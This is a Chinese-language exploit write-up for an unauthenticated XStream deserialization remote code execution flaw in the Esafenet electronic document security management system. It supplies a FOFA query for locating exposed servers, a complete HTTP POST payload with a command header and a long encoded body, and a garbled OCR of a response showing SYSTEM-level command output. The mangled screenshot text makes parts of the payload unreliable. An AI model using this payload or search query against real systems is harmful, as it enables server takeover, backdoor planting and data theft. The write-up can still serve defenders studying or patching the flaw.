Y5-13亿赛通-电子文档安全管理系统-反序列化RCE

漏洞描述:

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web 服务器。

网站图片:



网络测绘:

fofa语法:

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

漏洞复现:

payload:

POST /CDGServer3/ClientLoginWeb?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami

 $\verb|NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIC$

效果图: Request 〈 〉 数据包扫描 热加载 构造请求 ♡ Responses 21bytes / 344ms POST / CDGServer3/ClientLoginWeb?command=GETSYSTEMINFO·HTTP/1.1 HTTP/1.1-200 Set-Cookie: JSESSIONID=D88AF6E1228134F5102 User-Agent: Mozilla/5.0 (Windows NT-6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0. Date: Wed, 31 Jan 2024 15:25:58 GMT 2225.0 Safari/537.36 Connection: close Accept-Encoding: gzip, deflate, br Content-Length: 21 Connection: close Content-Type: text/xml nt authority\system NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMN ${\tt EIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFFCARAMETER (CONTRACTOR CONTRACTOR CONT$ MFGBDOTOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFA GLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOE PBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOB HIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDF JNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALD IIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEO LEOMKEMBLMLBEGKNGCOKOFTPBCFAAHGCTMCAKFFLFTBDHCDFHMKKNDHLCGTMMNKMBJDGTDJMMGFOFGJNJDNNEKFDMFAHMTLDKTFB GKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHD GBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJ IDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDP BDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOKBMPC BDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJN DMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAH KBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPA NPLIBGDCCNMDNDNOIPOECCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBG KKMLKCBBPF00JCKFFIMLCODLOFN0IEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHOPGKLOPHLMELJFBIABE